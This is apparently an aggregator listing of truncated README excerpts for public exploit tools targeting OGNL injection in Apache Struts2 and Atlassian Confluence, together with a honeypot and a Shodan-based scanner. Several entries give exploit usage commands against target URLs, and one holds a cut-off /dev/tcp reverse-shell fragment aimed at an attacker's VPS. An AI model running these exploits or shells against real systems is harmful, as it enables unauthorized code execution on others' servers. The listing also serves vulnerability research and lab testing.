CVE-2020-17530

CVE-2020-17530 s2-061 poc:...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps por...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 针对 Apache Struts RCE S2-057 CVE-2018-11776 的简单利用程序 重要提示：仅供教育或信息目的使用。 部署测试环境 root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d 使用方法 exploit.py 示例 root@kitploit: $ python exploit.py "http://127.0.0.1:8080/showcase" "cat...

CVE-2022-26134

Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 2022年6月2日，Atlassian 发布了 Confluence Server 和 Data Center 应用的安全公告，强调了一个严重等级的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 重要提示 本漏洞利用程序仅供研究者演示漏洞之用。我不建议进行非法操作，也不对任何恶意使用此脚本的行为负责。 • 请求示例...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence Server Webwork OGNL注入 存在一个OGNL注入漏洞，可允许已认证用户，在某些情况下未认证用户，在Confluence Server或Data Center实例上执行任意代码。 重要提示 此漏洞利用仅旨在供研究人员演示漏洞。我不赞成非法行为，并且不对任何恶意使用此脚本的行为负责。本仓库中展示的概念验证未暴露任何主机，且是在获得许可的情况下执行的。 • queryString参数请求 漏洞利用方法 命令： $ python3 ConfluenceOGNLInjection.py -u http://xxxxx.com ...

st2-046-poc

Variante de nombre de archivo Content-Disposition con byte nulo de CVE-2017-5638 Boletín de seguridad de Struts2 S2-046 Un byte nulo \x00 en el campo de nombre de archivo del encabezado Content-Disposition de una solicitud puede desencadenar una InvalidFileNameException con la misma cadena de...

confusploit

这是一个用于查找易受 CVE-2022-26134 影响的服务器的脚本，可与 SHODAN CLI 和 Bash 脚本一行命令一起使用 请仅用于合法和教育目的 Confluence 通过 OGNL 注入实现预认证远程代码执行 CVE-2022-26134 2022年6月2日，Atlassian 发布了针对其 Confluence Server 和 Data Center 应用程序的安全公告，强调了一个严重级别的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未经认证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 安装 克隆仓库：...

confluencePot

confluencePot ConfluencePot 是一个针对 Atlassian Confluence 未认证远程 OGNL 注入漏洞（CVE-2022-26134）的简单蜜罐。 关于漏洞 你可以在此处找到 Atlassian 关于此漏洞的官方公告：链接。关于内部机制和野外利用的详细信息，请参考 Rapid7 和 Cloudflare 的报告。 受影响但尚未修补的系统应被视为已沦陷 ，直至进一步调查。 关于工具 ConfluencePot 使用 Golang 编写，并实现自己的 HTTPS 服务器以最小化整体攻击面。为了让它看起来像合法的 Confluence 实例，它返回一个精简...

CVE-2018-11776

用于CVE-2018-11776的易受攻击的Docker容器 root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 root@kitploit: Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.actio...

CVE-2022-26134

CVE-2022-26134 Confluence RCE por inyección de expresión OGNL CVE-2022-26134 poc y exp Actualización Se añadió bypass del sandbox, soporte para versiones altas. Uso root@kitploit: Usage: python Confluencecve202226134RCE.py http://example.com/ El script verificará automáticamente si el objetivo es...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084，Atlassian Confluence OGNL注入漏洞 Atlassian Confluence 是企业广泛使用的维基系统，其部分版本中存在OGNL 表达式注入漏洞。攻击者可以通过漏洞，不需要任何用户的情况下在目标Confluence 中执行任意代码。 queryString参数执行任意命令 root@kitploit:...

CVE-2020-17530

OGNL 注入漏洞利用工具 简介 一个简单的 Python 脚本，用于利用 Apache Struts2/Tomcat 中的 OGNL 注入漏洞并执行系统命令。 使用方法 root@kitploit: pip install requests colorama python3 exploit.py -u http://target/index.action -c "id"...

cve-2022-26134

Atlassian Confluence OGNL 注入 POC 漏洞 CVE-2022-26134 任意代码执行 使用方法： pip3 install termcolor python3 exploit.py http://example.com 文档： https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnerability-cve-2022-26134 支持我：...

CVE-2020-13942

CVE-2020-13942 CVE-2020-13942 POC，作者 Eugene Rojavski 关于该漏洞的原始博客文章： https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ 存在两个 RCE 向量：通过 MVEL 注入和通过 OGNL 注入。这两个向量针对不同的代码，但载荷看起来相对相似。 之前的 CVE 修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制 OGNL 表达式的执行，但完全遗...

confluence-ognl-rce

CVE-2022-26134 - Ejecución remota de código OGNL en Atlassian Confluence Este script es un envoltorio sobre una primitiva de explotación de ejecución remota de código no autenticada mediante inyección OGNL en Confluence Data Center y Server CVE-2022-26314. Aviso del proveedor Fue inspirado...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence 预认证 RCE | OGNL 注入 下载 PoC 脚本 root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 运行漏洞利用 root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit....

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence 中的一个未认证 RCE 漏洞 CVE 摘要 在受影响的 Confluence Server 和 Data Center 版本中，存在一个 OGNL 注入漏洞，该漏洞允许未认证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本 Atlassian Confluence Server Atlassian Confluence Data Center 版本 1.3.0 也易受攻击 参考 Github POC - Samy Younsi, 2022年6月3日...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence 预授权 RCE OGNL 注入 使用方法 root@kitploit: usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target Url --cmd CMD, -c CM...

PoC-CVE-2017-5638

PoC：Apache Struts2 CVE-2017-5638（安全教学演示） 📌 概述 本项目是 CVE-2017-5638 的概念验证（PoC），这是一个著名的 Apache Struts2 漏洞，允许攻击者在受影响服务器上执行任意代码。 ⚠️ 本仓库包含一个安全的、非攻击性的演示 ，仅供教育目的 。它不执行任何恶意操作。 🔎 关于该漏洞 CVE ID ：CVE-2017-5638 类型 ：远程代码执行（RCE） 组件 ：Apache Struts2（Jakarta Multipart 解析器） 根本原因 ：Content-Type 头部中的用户输入被不当传递给 OGNL...

S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 一个用于利用 Struts 2 S2-053 CVE-2017-12611 RCE 漏洞的简单脚本 用法 root@kitploit: exploit.py 示例 root@kitploit: $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" 生成的 EXP:...